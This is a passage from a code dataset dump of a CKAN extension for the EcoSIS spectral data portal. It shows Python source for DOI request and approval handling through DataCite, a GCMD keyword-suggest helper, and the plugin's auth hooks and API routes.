shortuuid\n\nDOI_STATUS = {\n 'APPLIED' : 'Applied', # DOI has been applied by EZID\n 'REQUESTING' : 'Requesting', # Requesting DOI from EZID\n 'ACCEPTED' : 'Accepted', # Admins have accepted DOI request\n 'PENDING_REVISION' : 'Pending Revision', # Admins not approved the DOI request, dataset needs revision\n 'PENDING_APPROVAL' : 'Pending Approval', # User has requested DOI\n 'FAILED_REQUEST' : 'Failed Request' # Request to Datacite failed\n}\n\n# Datacite config\nDOI_CONFIG = {\n \"shoulder\" : config.get('ecosis.doi.shoulder'),\n \"url\" : config.get(\"ecosis.doi.url\"),\n \"username\" : config.get(\"ecosis.doi.username\"),\n \"password\" : config.get(\"ecosis.doi.password\")\n}\nconnStr = \"\"\n\n# inject global dependencies\ndef init(pgConn):\n global connStr\n connStr = pgConn\n\n\n## helper for updating package\n## for use by package_update_auth in plugin.py\ndef validDoiUpdate(currentPackage, newPackage):\n oldDoi = getDoiStatus(currentPackage)\n newDoi = getDoiStatus(newPackage)\n\n # No changes\n if oldDoi.get('status').get('value') == newDoi.get('status').get('value') and oldDoi.get('status').get('error') != True:\n if oldDoi.get('value') == newDoi.get('value'):\n return {'success': True}\n\n # the one thing a USER can do is request approval\n if oldDoi.get('status').get('value') in (None, DOI_STATUS['PENDING_REVISION'], DOI_STATUS['PENDING_APPROVAL']):\n if newDoi.get('status').get('value') == DOI_STATUS['PENDING_APPROVAL'] and newDoi.get('value') is None:\n return {'success': True}\n\n # user is canceling request\n if newDoi.get('status').get('value') is None:\n return {'success': True}\n\n if not isAdmin():\n return {\n 'success' : False,\n 'msg' : 'You do not have access to update DOI values'\n }\n\n return {'success': True} \n\n## helper for updating package\ndef handleDoiUpdate(currentPackage, newPackage):\n oldDoi = getDoiStatus(currentPackage)\n newDoi = getDoiStatus(newPackage)\n\n # No changes\n if oldDoi.get('status').get('value') == newDoi.get('status').get('value') and oldDoi.get('status').get('error') != True:\n if oldDoi.get('value') == newDoi.get('value'):\n # check this package doesn't have a DOI\n # Perhaps just not let them make it private?\n # if not canUpdate(oldDoi):\n # return {\n # 'error': True,\n # 'message' : 'You cannot update a package once the DOI as been applied'\n # }\n # else:\n return {'success': True}\n\n # the one thing a USER can do is request approval\n if oldDoi.get('status').get('value') in (None, DOI_STATUS['PENDING_REVISION']):\n if newDoi.get('status').get('value') == DOI_STATUS['PENDING_APPROVAL'] and newDoi.get('value') in (None, ''):\n # set the requesting user\n status = {\n 'value' : DOI_STATUS['PENDING_APPROVAL'],\n 'requested_by' : c.user\n }\n setPackageExtra('EcoSIS DOI Status', json.dumps(status), newPackage)\n\n # alert the admins of the request\n sendAdminNotification(newPackage)\n\n return {'success': True}\n\n # user is canceling request\n if newDoi.get('status').get('value') is None:\n setPackageExtra('EcoSIS DOI Status', '{}', newPackage)\n\n return {'success': True}\n\n\n if not isAdmin():\n return {\n 'error' : True,\n 'message' : 'You do not have access to update DOI values'\n }\n\n resp = {}\n if newDoi.get('status').get('value') == DOI_STATUS['PENDING_REVISION'] and oldDoi.get('status').get('value') != DOI_STATUS['PENDING_REVISION']:\n resp = sendUserNotification(newPackage, False)\n elif newDoi.get('status').get('value') == DOI_STATUS['ACCEPTED'] and oldDoi.get('status').get('value') != DOI_STATUS['ACCEPTED']:\n resp = sendUserNotification(newPackage, True)\n\n resp['success'] = True\n return resp\n\n# Actually request DOI from EZID\ndef applyDoi(pkg):\n # get the current package DOI status\n doiStatus = getDoiStatus(pkg)\n\n # make sure it's set to accepted\n if doiStatus.get('status').get('value') != DOI_STATUS[\"ACCEPTED\"]:\n return\n\n # set the new status to REQUESTING DOI\n setPackageExtra('EcoSIS DOI Status', json.dumps({'value':DOI_STATUS[\"REQUESTING\"]}), pkg)\n\n # update the dataset\n context = {'model': model, 'user': c.user}\n pkg = logic.get_action('package_update')(context, pkg)\n\n # Request DOI from Datacite\n try:\n doiResponse = requestDoi(pkg)\n except Exception as e:\n doiResponse = {\n 'status' : 'error',\n 'message' : str(e)\n }\n\n # If request failed, reset DOI status, return new error\n if doiResponse.get('status') != 'success':\n status = {\n 'value': DOI_STATUS[\"FAILED_REQUEST\"],\n 'error' : True,\n 'message': doiResponse.get('message'),\n 'serverResponseStatus' : doiResponse.get('status')\n }\n setPackageExtra('EcoSIS DOI Status', json.dumps(status), pkg)\n logic.get_action('package_update')(context, pkg)\n return status\n\n # set the returned DOI and new DOI Status\n status = {\n 'value' : DOI_STATUS[\"APPLIED\"],\n 'applied' : datetime.datetime.utcnow().isoformat()\n }\n setPackageExtra('EcoSIS DOI Status', json.dumps(status), pkg)\n setPackageExtra('EcoSIS DOI', doiResponse.get('doi'), pkg)\n\n # now that it's applied, re-push to search so updates are visible\n push = Push()\n push.run(pkg)\n\n # final dataset update with new DOI status\n logic.get_action('package_update')(context, pkg)\n\n return {'success': True}\n\n# HTTP request for EZID\ndef requestDoiEzid(pkg):\n # Request body\n data = \"_profile: datacite\\n\"\n data += \"_target: %s/#result/%s\\n\" % (config.get(\"ecosis.search_url\"), pkg.get('id'))\n data += \"datacite.creator: %s\\n\" % pkg.get('author')\n data += \"datacite.title: %s\\n\" % pkg.get('title')\n data += \"datacite.resourcetype: Dataset\\n\"\n data += \"datacite.publisher: EcoSIS\\n\"\n data += \"datacite.publicationyear: %s\" % parser.parse(pkg.get('metadata_created')).year\n\n # set body, authentication header and make request\n r = urllib.request.Request(DOI_CONFIG.get('url'))\n base64string = base64.encodestring('%s:%s' % (DOI_CONFIG.get('username'), DOI_CONFIG.get('password'))).replace('\\n', '')\n r.add_header(\"Authorization\", \"Basic %s\" % base64string)\n r.add_header(\"Content-Type\", \"text/plain;charset=UTF-8\")\n r.data = bytes(data, 'utf-8')\n\n try:\n result = urllib.request.urlopen(r).read()\n except Exception as e:\n result = \"error: request error\"\n\n # parse text response format\n (status, doi) = result.split('\\n')[0].split(': ')\n\n return {\n \"status\" : status,\n \"doi\" : doi\n }\n\n# HTTP request for Datacite\ndef requestDoi(pkg):\n doi = \"%s/%s\" % (DOI_CONFIG.get('shoulder'), shortuuid.ShortUUID().random(length=8))\n data = {\n 'data' : {\n 'type' : 'dois',\n 'attributes' : {\n 'doi' : doi\n }\n }\n }\n\n r = urllib.request.Request(DOI_CONFIG.get('url'))\n userpass = '%s:%s' % (DOI_CONFIG.get('username'), DOI_CONFIG.get('password'))\n base64string = base64.b64encode(bytes(userpass, 'utf-8'))\n auth_header = \"Basic %s\" % base64string.decode(\"utf-8\")\n r.add_header(\"Authorization\", auth_header)\n r.add_header(\"Content-Type\", \"application/vnd.api+json\")\n r.get_method = lambda: 'POST'\n r.data = bytes(json.dumps(data), 'utf-8')\n\n result = urllib.request.urlopen(r)\n if result.getcode() != 201:\n print(result.read())\n if result.getcode() == 422:\n raise Exception('Doi already taken, please try again')\n else:\n raise Exception('Invalid response from doi draft service %s: %s', (result.getcode(), result.read()))\n\n data = {\n 'data': {\n 'id': doi,\n 'type': \"dois\",\n 'attributes': {\n 'event': 'publish',\n 'doi': doi,\n 'creators': [{\n 'name': pkg.get('author')\n }],\n 'titles': [{\n 'title': pkg.get('title')\n }],\n 'descriptions': [{\n 'description': pkg.get('overview')\n }],\n 'identifiers': [{\n 'identifierType': 'ecosis-uid',\n 'identifier': pkg.get('id')\n }],\n 'publisher': 'EcoSIS',\n 'publicationYear': parser.parse(pkg.get('metadata_created')).year,\n 'types': {\n 'resourceTypeGeneral': 'Dataset'\n },\n 'url': \"%s/doi:%s\" % (config.get(\"ecosis.search_url\"), doi),\n 'schemaVersion': 'http://datacite.org/schema/kernel-4'\n }\n }\n }\n\n print(\"%s/%s\" % (DOI_CONFIG.get('url'), doi))\n r = urllib.request.Request(\"%s/%s\" % (DOI_CONFIG.get('url'), doi))\n r.get_method = lambda: 'PUT'\n r.add_header(\"Authorization\", auth_header)\n r.add_header(\"Content-Type\", \"application/vnd.api+json\")\n r.data = bytes(json.dumps(data), 'utf-8')\n\n result = urllib.request.urlopen(r)\n if result.getcode() != 200 and result.getcode() != 201:\n raise Exception('Invalid response from doi publish service %s: %s' % (result.getcode(), result.read()))\n\n return {\n \"status\" : 'success',\n \"doi\" : doi\n }\n\n\n# helper for deleting package or updating resources\ndef hasAppliedDoi(pkgId):\n context = {'model': model, 'user': c.user}\n pkg = logic.get_action('package_show')(context, {'id': pkgId})\n resp = not canUpdate(getDoiStatus(pkg))\n return resp\n\n# def doiUpdateStatus():\n# response.headers[\"Content-Type\"] = \"application/json\"\n#\n# if not isAdmin():\n# return {\n# 'error' : True,\n# 'message' : 'Nope.'\n# }\n#\n# return json.dumps({})\n\n# for admin DOI interface, query datasets by DOI status\ndef doiQuery():\n if not isAdmin():\n return {\n 'error' : True,\n 'message' : 'Nope.'\n }\n\n query = request.params.get('query')\n status = request.params.get('status')\n offset = request.params.get('offset')\n limit = request.params.get('limit')\n\n return package.doiQuery(query=query, status=status, offset=offset, limit=limit)\n\n# for admin, allows admin to completely clear a DOI. Should only be used in\n# dev interface, never in production.\ndef clearDoi():\n if not isAdmin():\n return {\n 'error' : True,\n 'message' : 'Nope.'\n }\n\n id = request.params.get('id')\n\n context = {'model': model, 'user': c.user}\n pkg = logic.get_action('package_show')(context, {'id': id})\n\n # check EcoSIS DOI status\n setPackageExtra('EcoSIS DOI Status', '{}', pkg)\n setPackageExtra('EcoSIS DOI', '', pkg)\n\n pkg = logic.get_action('package_update')(context, pkg)\n\n return {'success': True}\n\n# Send admin notification of DOI request\ndef sendAdminNotification(pkg):\n url = config.get('ckan.site_url')\n admin_email = config.get('ecosis.admin_email')\n\n if url != \"\" and url is not None:\n if admin_email != \"\" and admin_email is not None:\n try:\n send_notification(\n {\n \"email\" : admin_email,\n \"display_name\" : \"EcoSIS Admins\"\n },\n {\n \"subject\" : \"EcoSIS Dataset DOI Request - %s\" % pkg.get('title'),\n \"body\" : (\"A DOI has been requested for the dataset '%s' by user %s/user/%s. \"\n \"You can view the dataset here: %s/#result/%s and approve the DOI here: %s/doi-admin/#%s\"\n \"\\n\\n-EcoSIS Server\") %\n (pkg.get('title'), config.get('ckan.site_url'), c.user, config.get('ecosis.search_url'), pkg.get(\"id\"), config.get('ckan.site_url'), urllib.parse.urlencode(pkg.get(\"title\"), quote_via=urllib.parse.quote_plus))\n }\n )\n except:\n print(\"Failed to send admin email\")\n\n# send user notification of approval/denial of DOI request\ndef sendUserNotification(pkg, approved):\n url = config.get('ckan.site_url')\n\n status = getDoiStatus(pkg).get('status')\n if status is None:\n status = {}\n\n conn = psycopg2.connect(connStr)\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(\n \"select email from public.user where name = %s\", (status.get('requested_by'),)\n )\n users = cur.fetchall()\n cur.close()\n\n email = \"\"\n for user in users:\n email = user.get('email')\n break\n\n body = \"\"\n if approved:\n body = (\"The DOI request for the dataset '%s' has been approved. \"\n \"It may take a couple minutes for the DOI to generate. \"\n \"You can view the dataset here: %s/package/%s\\n\\n\"\n \"\\n\\n-EcoSIS Team\") % (pkg.get('title'),\n config.get('ecosis.search_url'),\n pkg.get(\"id\"))\n else:\n body = (\"The DOI request for the dataset '%s' requires more information before approval. \"\n \"Please provide a full description, keywords and fill out as much metadata as possible. \"\n \"Then feel free to re-request a DOI.\"\n \"\\n\\n-EcoSIS Team\") % (pkg.get('title'))\n\n if url != \"\" and url is not None:\n if email != \"\" and email is not None:\n try:\n send_notification(\n {\n \"email\" : email,\n \"display_name\" : \"EcoSIS User %s,\" % status.get('requested_by')\n },\n {\n \"subject\" : \"EcoSIS Dataset DOI Request - %s\" % pkg.get('title'),\n \"body\" : body\n }\n )\n except:\n print(\"Failed to send admin email\")\n\n return {\n \"email\" : email,\n \"user\" : status.get('requested_by')\n }\n\n# make sure user has permission to update DOI status. There are only two status users are\n# allowed to update. 1) Doi has never been requested 2) DOI has been requested and\n# the admins have said revisions are needed\ndef canUpdate(doi):\n # TODO: later check for props we can update?\n if doi.get('status').get('value') == None or \\\n doi.get('status').get('value') == DOI_STATUS['PENDING_REVISION']:\n return True\n\n return False\n\n# wrapper for getting package-extra doi status from status fields (stored as JSON)\ndef getDoiStatus(pkg):\n doi = {\n 'status' : getPackageExtra('EcoSIS DOI Status', pkg),\n 'value' : getPackageExtra('EcoSIS DOI', pkg)\n }\n\n if doi['status'] is None or doi['status'] == \"\":\n doi['status'] = {}\n else:\n doi['status'] = json.loads(doi['status'])\n\n return doi" }, { "alpha_fraction": 0.6079469919204712, "alphanum_fraction": 0.6119205355644226, "avg_line_length": 22.625, "blob_id": "57197a7276080ef409c4be1c767d749fc2d75b1b", "content_id": "ad97e6348fb938a98b924370748be98a08f4a9e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 755, "license_type": "no_license", "max_line_length": 56, "num_lines": 32, "path": "/ckanext/ecosis/datastore/vocab/gcmd.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import re\ngcmdCollection = None\n\n# inject global dependencies\ndef init(collections):\n global gcmdCollection\n gcmdCollection = collections.get('gcmd')\n\n# find gcmd keywords based on given query\ndef suggest(query):\n # split on comma's\n query = re.split(',|\\s', query)\n # clean up query\n # TODO: this is not required in python3 anymore?\n # query = map(unicode.strip, query)\n\n # create regex for each string\n arr = []\n for q in query:\n regx = re.compile(\"%s\" % q)\n arr.append({'keywords': regx})\n\n # run query\n results = []\n match = gcmdCollection.find({'$and': arr}).limit(20)\n if match is None:\n match = []\n else:\n for doc in match:\n results.append(doc)\n\n return results" }, { "alpha_fraction": 0.6532487869262695, "alphanum_fraction": 0.6537981033325195, "avg_line_length": 38.649505615234375, "blob_id": "309635952fb86ac875c817083538ee08c538807c", "content_id": "f88dd0e329f885bd367af56f71e504a2554e28bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 20023, "license_type": "no_license", "max_line_length": 136, "num_lines": 505, "path": "/ckanext/ecosis/plugin.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import json, os\nimport ckan.plugins as plugins\nimport ckan.plugins.toolkit as tk\nimport ckan.lib.base as base\nfrom ckan.common import config, request\nfrom ckan.logic.action.create import organization_member_create\nfrom ckan.logic.action.delete import organization_member_delete\nimport ckan.logic as logic\n\nfrom flask import Blueprint, make_response, send_from_directory\nimport ckanext.ecosis.lib.utils as utils\n\nimport ckanext.ecosis.datastore.query as query\nfrom ckanext.ecosis.datastore import delete as deleteUtil\nimport ckanext.ecosis.controller.organization as orgController\nimport ckanext.ecosis.controller.package as pkgController\nfrom ckanext.ecosis.controller.package.doi import handleDoiUpdate, validDoiUpdate, hasAppliedDoi, getDoiStatus, DOI_STATUS, applyDoi\nimport ckanext.ecosis.user_data.model as userDataModel\nfrom ckanext.ecosis.controller import EcosisController\n\ncontroller = EcosisController()\n\[email protected]_effect_free\ndef organization_member_create_wrapper(context, member_create):\n organization_member_create(context, member_create)\n orgController.notify_remotes(member_create.get('id'))\n\[email protected]_effect_free\ndef organization_member_delete_wrapper(context, member_delete):\n organization_member_delete(context, member_delete)\n orgController.notify_remotes(member_delete.get('id'))\n\nclass EcosisPlugin(plugins.SingletonPlugin,\n tk.DefaultDatasetForm):\n '''An example IDatasetForm CKAN plugin.\n\n Uses a tag vocabulary to add a custom metadata field to datasets.\n\n '''\n plugins.implements(plugins.IConfigurer)\n plugins.implements(plugins.ITemplateHelpers)\n plugins.implements(plugins.IRoutes, inherit=True)\n plugins.implements(plugins.IOrganizationController)\n plugins.implements(plugins.IPackageController)\n plugins.implements(plugins.IResourceController)\n plugins.implements(plugins.IAuthFunctions)\n plugins.implements(plugins.IActions)\n plugins.implements(plugins.IClick)\n plugins.implements(plugins.IMiddleware)\n # plugins.implements(plugins.IDatasetForm)\n\n # map of ecosis required package property to a nice property label\n REQUIRED_FIELDS = {\n 'license_id': { 'label': 'License', 'empty_value' : 'notspecified'}\n }\n\n\n # IClick\n def get_commands(self):\n \"\"\"Implemented for IClick Plugin\n \n register the 'ckan ecosis' CLI commands\n \"\"\"\n # import click\n from ckanext.ecosis.user_data.paster import ecosis as ecosisCmd\n\n return [ecosisCmd]\n\n # add iauth functions\n def get_auth_functions(self):\n return {\n 'package_update' : self.package_update_auth,\n 'package_create' : self.package_create_auth,\n 'package_delete' : self.package_delete_auth,\n 'resource_delete' : self.resource_delete_auth,\n 'resource_create' : self.resource_create_auth\n }\n\n def get_class_name(self, entity):\n \"\"\"Helper for getting nice class name string\n required because some plugin methods overlap, need to sniff\n test which is calling\n \"\"\"\n return entity.__class__.__name__ \n\n def is_group(self, entity):\n return self.get_class_name(entity) == 'Group'\n\n def is_package(self, entity):\n return self.get_class_name(entity) == 'Package'\n\n def is_resource(self, entity):\n return self.get_class_name(entity) == 'Resource'\n\n def read(self, entity):\n \"\"\"Implemented for IOrganizationController and IPackageController Plugins\n\n not used by the EcoSIS Plugin\n \"\"\"\n pass\n\n def create(self, entity):\n \"\"\"Implemented for IOrganizationController and IPackageController Plugins\n\n IOrganizationController: notify remotes of org update\n \"\"\"\n if self.is_group(entity):\n orgController.notify_remotes(entity.id)\n\n def after_update(self, context, pkg_dict):\n if pkg_dict.get('type') == \"dataset\": \n # if doi status changed to ACCEPTED, start DOI application process\n resp = handleDoiUpdate(context['before_package_update'], pkg_dict)\n\n doiStatus = getDoiStatus(pkg_dict)\n if doiStatus.get('status').get('value') == DOI_STATUS[\"ACCEPTED\"]:\n applyDoi(pkg_dict)\n\n if resp.get('email') is not None:\n pkg_dict['doi_user_email'] = resp.get('email')\n pkg_dict['doi_user_name'] = resp.get('user')\n\n def before_create(self, context, resource):\n pass\n\n def after_create(self, context, pkg_dict):\n \"\"\"Implemented for IPackageController\"\"\"\n if self.get_class_name(pkg_dict) == \"dict\": # safety check\n if pkg_dict.get('type') == \"dataset\":\n pkgController.after_create()\n return pkg_dict\n\n def before_index(self, pkg_dict):\n \"\"\"Implemented for IPackageController\"\"\"\n return pkg_dict\n\n def edit(self, entity):\n pass\n # orgController.update(entity)\n\n @tk.auth_sysadmins_check\n def package_create_auth(self, context, data_dict=None):\n \"\"\"Check for required fields\n \"\"\"\n\n # hack. how do we know if this is a view check or not?!\n if data_dict is not None and len(data_dict) == 0:\n return {'success': True}\n\n if data_dict is not None:\n for field, props in self.REQUIRED_FIELDS.items():\n value = data_dict.get(field)\n if value == None or value == '' or value == props.get('empty_value'):\n return {\n 'success' : False,\n 'msg' : 'The %s field is required' % props.get('label')\n }\n \n return self.package_update_auth(context, data_dict)\n \n @tk.auth_sysadmins_check\n def package_update_auth(self, context, data_dict=None):\n \"\"\"Check for DOI issues that should prevent saving. store old values\n to be used in the after_update() method so we know which DOI actions to\n preform\n \"\"\"\n if data_dict is not None:\n # bypass flag for view elements to see if something should be displayed\n # DOI editing is not part of this, so we can ignore\n if data_dict.get('view_auth_check') != True and data_dict.get('id') is not None:\n cpkg = {}\n if data_dict['id'] != '':\n cpkg = logic.get_action('package_show')(context, {'id': data_dict['id']})\n context['before_package_update'] = cpkg\n return validDoiUpdate(cpkg, data_dict)\n \n return {'success': True}\n\n @tk.auth_sysadmins_check\n def package_delete_auth(self, context, data_dict=None):\n \"\"\"Check that a package can be deleted\n \"\"\"\n if hasAppliedDoi(data_dict.get('id')):\n return {'success': False, 'message':'Cannot delete package with applied DOI'}\n\n return {'success': True}\n\n @tk.auth_sysadmins_check\n def resource_delete_auth(self, context, data_dict=None):\n \"\"\"Check that a resource can be deleted\n \"\"\"\n resource = logic.get_action('resource_show')(context, {'id': data_dict['id']})\n if hasAppliedDoi(resource.get('package_id')):\n return {'success': False, 'msg': 'Cannot delete resource of package with applied DOI'}\n\n return {'success': True}\n\n @tk.auth_sysadmins_check\n def resource_create_auth(self, context, data_dict=None):\n \"\"\"Check that a resource can be created\n \"\"\"\n if hasAppliedDoi(data_dict.get('package_id')):\n return {'success': False, 'msg': 'Cannot create resource of package with applied DOI'}\n\n return {'success': True}\n\n def authz_add_role(self, object_role):\n pass\n\n def authz_remove_role(self, object_role):\n pass\n\n def before_delete(self, context, resource, resources):\n pass\n\n def delete(self, entity):\n pass\n\n def after_delete(self, context, pkg_dict):\n if self.is_group(pkg_dict):\n orgController.delete(pkg_dict)\n if self.is_package(pkg_dict):\n deleteUtil.package(pkg_dict.get('id'))\n\n def after_show(self, context, entity):\n return entity\n\n def before_show(self, resource_dict):\n pass\n\n def before_view(self, pkg_dict):\n return pkg_dict\n\n def before_search(self, search_params):\n return search_params\n\n def after_search(self, search_results, search_params):\n return search_results\n\n # we need to listen for org create/update/delete events and notify remotes\n def get_actions(self):\n return {\n 'organization_member_create' : organization_member_create_wrapper,\n 'organization_member_delete': organization_member_delete_wrapper\n }\n\n\n def update_config(self, config):\n # Add this plugin's templates dir to CKAN's extra_template_paths, so\n # that CKAN will use this plugin's custom templates.\n tk.add_template_directory(config, 'templates')\n tk.add_resource('public/fanstatic', 'ecosis')\n userDataModel.define_table()\n\n # set helpers for ecosis templates\n def get_helpers(self):\n # Example:\n #return { 'to_json' : 'self.to_json' }\n return {\n 'get_google_analytics_code' : self.get_google_analytics_code,\n 'get_search_url' : self.get_search_url,\n 'get_last_pushed_str' : self.get_last_pushed_str,\n 'pushed_to_search' : self.pushed_to_search\n }\n\n def pushed_to_search(self, package_id):\n result = query.isPushed(package_id)\n if result is None:\n return False\n return True\n\n def get_last_pushed_str(self, package_id):\n result = query.isPushed(package_id)\n if result is None:\n return None\n try:\n return result.strftime(\"%Y-%m-%d %H:%M\")\n except:\n return result\n\n def get_search_url(self):\n return config.get('ecosis.search_url','')\n\n def get_google_analytics_code(self):\n return config.get('ckan.google_analytics_code', '')\n\n\n def is_fallback(self):\n # Return True to register this plugin as the default handler for\n # spectral types not handled by any other IDatasetForm plugin.\n return False\n\n def make_middleware(self, app, config):\n # REDIRECTS\n editor_redirects = Blueprint(u'editor_redirects', __name__, url_prefix=u'/')\n \n # route all resource edit screens to main ecosis dataset editor\n editor_redirects.add_url_rule(u'/dataset/new', methods=[u'GET'],\n view_func=controller.createPackageRedirect)\n\n # TODO: the below don't actually work and are currently handled by the template. badness.\n editor_redirects.add_url_rule(u'/dataset/resources/<package_id>', methods=[u'GET'],\n view_func=controller.editPackageRedirect)\n editor_redirects.add_url_rule(u'/dataset/edit/<package_id>', methods=[u'GET'],\n view_func=controller.editPackageRedirect)\n editor_redirects.add_url_rule(u'/dataset/new_resource/<package_id>', methods=[u'GET'],\n view_func=controller.editPackageRedirect)\n editor_redirects.add_url_rule(u'/dataset/<package_id>/resource_edit/<resource_id>', methods=[u'GET'],\n view_func=controller.editPackageRedirect)\n editor_redirects.add_url_rule(u'/dataset/new_resource/<package_id>', methods=[u'GET'],\n view_func=controller.editPackageRedirectWResource)\n\n # Serve index.html static paths\n root_dir = os.environ.get('CKAN_HOME', os.getcwd())\n if not os.path.exists(root_dir):\n raise Exception('CKAN_HOME not found: %s. Unable to load static assests' % root_dir)\n editor_redirects.add_url_rule(u'/import/', methods=[u'GET'],\n endpoint=\"spectra-importer\",\n view_func=lambda: send_from_directory(os.path.join(root_dir, 'ckanext-ecosis/spectra-importer/dist/import'), 'index.html'))\n editor_redirects.add_url_rule(u'/doi-admin/', methods=[u'GET'],\n endpoint=\"doi-admin\",\n view_func=lambda: send_from_directory(os.path.join(root_dir, 'ckanext-ecosis/doi-admin/dist/doi-admin'), 'index.html'))\n # print(os.path.join(root_dir, 'ckanext-ecosis/spectra-importer/dist/import'), 'index.html')\n\n app.register_blueprint(editor_redirects)\n\n # API\n api = Blueprint(u'ecosis', __name__, url_prefix=u'/ecosis')\n\n # ecosis - admin\n api.add_url_rule(u'/admin/rebuildIndex', methods=[u'GET'],\n view_func=controller.rebuildIndex)\n api.add_url_rule(u'/admin/clean', methods=[u'GET'],\n view_func=controller.clean)\n api.add_url_rule(u'/admin/verifyWorkspace', methods=[u'GET'],\n view_func=controller.verifyWorkspace)\n\n # ecosis - root\n api.add_url_rule(u'/user/get', methods=[u'GET'],\n view_func=controller.userInfo)\n api.add_url_rule(u'/gitInfo', methods=[u'GET'],\n view_func=controller.gitInfo)\n api.add_url_rule(u'/user/remoteLogin', methods=[u'POST'],\n view_func=controller.remoteLogin)\n api.add_url_rule(u'/user/githubInfo', methods=[u'POST'],\n view_func=controller.setGithubInfo)\n\n # ecosis - workspace\n api.add_url_rule(u'/workspace/prepare', methods=[u'GET'],\n view_func=controller.prepareWorkspace)\n api.add_url_rule(u'/workspace/get', methods=[u'GET'],\n view_func=controller.getWorkspace)\n api.add_url_rule(u'/workspace/push', methods=[u'GET'],\n view_func=controller.pushToSearch)\n\n # ecosis - package\n api.add_url_rule(u'/package/getTemplate', methods=[u'GET'],\n view_func=controller.getTemplate)\n api.add_url_rule(u'/package/updateLinkedResources', methods=[u'POST'],\n view_func=controller.updateLinkedResources)\n api.add_url_rule(u'/package/import', methods=[u'GET'],\n view_func=controller.importPackage)\n\n # ecosis - spectra\n api.add_url_rule(u'/spectra/suggestOverview', methods=[u'GET', 'POST'],\n view_func=controller.topOverview)\n api.add_url_rule(u'/spectra/get', methods=[u'GET'],\n view_func=controller.getSpectra)\n api.add_url_rule(u'/spectra/gcmd', methods=[u'GET'],\n view_func=controller.gcmdSuggest)\n api.add_url_rule(u'/spectra/suggest', methods=[u'GET'],\n view_func=controller.topSuggest)\n\n # ecosis - resource\n api.add_url_rule(u'/resource/getSpectraCount', methods=[u'GET'],\n view_func=controller.getSpectraCount)\n api.add_url_rule(u'/resource/process', methods=[u'POST'],\n view_func=controller.processResource)\n api.add_url_rule(u'/resource/getMetadataInfo', methods=[u'GET'],\n view_func=controller.getMetadataInfo)\n api.add_url_rule(u'/resource/byname/<package_id>/<resource_name>', methods=[u'GET'],\n view_func=controller.getResourceByName)\n api.add_url_rule(u'/resource/deleteMany', methods=[u'POST'],\n view_func=controller.deleteResources)\n api.add_url_rule(u'/resource/getMetadataChunk', methods=[u'GET'],\n view_func=controller.getMetadataChunk)\n api.add_url_rule(u'/resource/get', methods=[u'GET'],\n view_func=controller.getResource)\n\n # ecosis - admin doi\n # map.connect('doi_query', '/ecosis/admin/doi/query', controller=controller, action='doiQuery')\n # map.connect('doi_clear', '/ecosis/admin/doi/clear', controller=controller, action='clearDoi') \n # ecosis - admin doi\n api.add_url_rule(u'/admin/doi/query', methods=[u'GET'],\n view_func=controller.doiQuery)\n api.add_url_rule(u'/admin/doi/clear', methods=[u'GET'],\n view_func=controller.clearDoi)\n\n app.register_blueprint(api)\n return app\n\n def make_error_log_middleware(self, app, config):\n return app\n\n\n def before_map(self, map):\n self.set_map(map)\n return map\n\n # override?\n def set_map(self, map):\n\n # The 'new' way\n controller = 'ckanext.ecosis.controller:EcosisController'\n\n # Standard CKAN overrides\n # map.connect('create_package_3', '/api/3/action/package_create', controller=controller, action='createPackage')\n # map.connect('create_package', '/api/action/package_create', controller=controller, action='createPackage')\n # map.connect('update_package_3', '/api/3/action/package_update', controller=controller, action='updatePackage')\n # map.connect('update_package', '/api/action/package_update', controller=controller, action='updatePackage')\n # map.connect('delete_package_3', '/api/3/action/package_delete', controller=controller, action='deletePackage')\n # map.connect('delete_package', '/api/action/package_delete', controller=controller, action='deletePackage')\n # map.connect('delete_resource_3', '/api/3/action/resource_delete', controller=controller, action='deleteResource')\n # map.connect('delete_resource', '/api/action/resource_delete', controller=controller, action='deleteResource')\n # map.connect('create_resource_3', '/api/3/action/resource_create', controller=controller, action='createResource')\n # map.connect('create_resource', '/api/action/resource_create', controller=controller, action='createResource')\n\n # ecosis - admin\n map.connect('rebuild_usda_collection', '/ecosis/admin/rebuildUSDA', controller=controller, action='rebuildUSDACollection')\n map.connect('clean_tests', '/ecosis/admin/cleanTests', controller=controller, action='cleanTests')\n map.connect('upgrade', '/ecosis/admin/upgrade', controller=controller, action='upgrade')\n map.connect('fixUnits', '/ecosis/admin/fixUnits', controller=controller, action='fixUnits')\n map.connect('fixCitations', '/ecosis/admin/fixCitations', controller=controller, action='fixCitations')\n\n # ecosis - admin doi\n map.connect('getAllGithubInfo', '/ecosis/admin/github/sync', controller=controller, action='getAllGithubInfo')\n\n # ecosis - package\n map.connect('setPrivate', '/ecosis/package/setPrivate', controller=controller, action='setPrivate')\n\n # ecosis - workspace\n\n # custom pages\n # map.connect('remotelogin', '/user/remotelogin', controller='ckanext.ecosis.plugin:StaticPageController', action='remotelogin')\n\n\n return map\n\n def package_types(self):\n # This plugin doesn't handle any special package types, it just\n # registers itself as the default (above).\n return []\n\n def _modify_package_schema(self, schema):\n # Add custom access_level as extra field\n return schema\n\n def create_package_schema(self):\n schema = super(EcosisPlugin, self).create_package_schema()\n schema = self._modify_package_schema(schema)\n return schema\n\n def update_package_schema(self):\n schema = super(EcosisPlugin, self).update_package_schema()\n schema = self._modify_package_schema(schema)\n return schema\n\n def show_package_schema(self):\n schema = super(EcosisPlugin, self).show_package_schema()\n\n return schema\n\n # check_data_dict() is deprecated, this method is only here to test that\n # legacy support for the deprecated method works.\n def check_data_dict(self, data_dict, schema=None):\n return\n\n def setup_template_variables(self, context, data_dict):\n return super(EcosisPlugin, self).setup_template_variables(\n context, data_dict)\n\n def new_template(self):\n return super(EcosisPlugin, self).new_template()\n\n def read_template(self):\n return super(EcosisPlugin, self).read_template()\n\n def edit_template(self):\n return super(EcosisPlugin, self).edit_template()\n\n def comments_template(self):\n return super(EcosisPlugin, self).comments_template()\n\n def search_template(self):\n return super(EcosisPlugin, self).search_template()\n\n def history_template(self):\n return super(EcosisPlugin, self).history_template()\n\n def package_form(self):\n return super(EcosisPlugin, self).package_form()\n\n ###\n # IPackageController\n ###\n" }, { "alpha_fraction": 0.772455096244812, "alphanum_fraction": 0.772455096244812, "avg_line_length": 23, "blob_id": 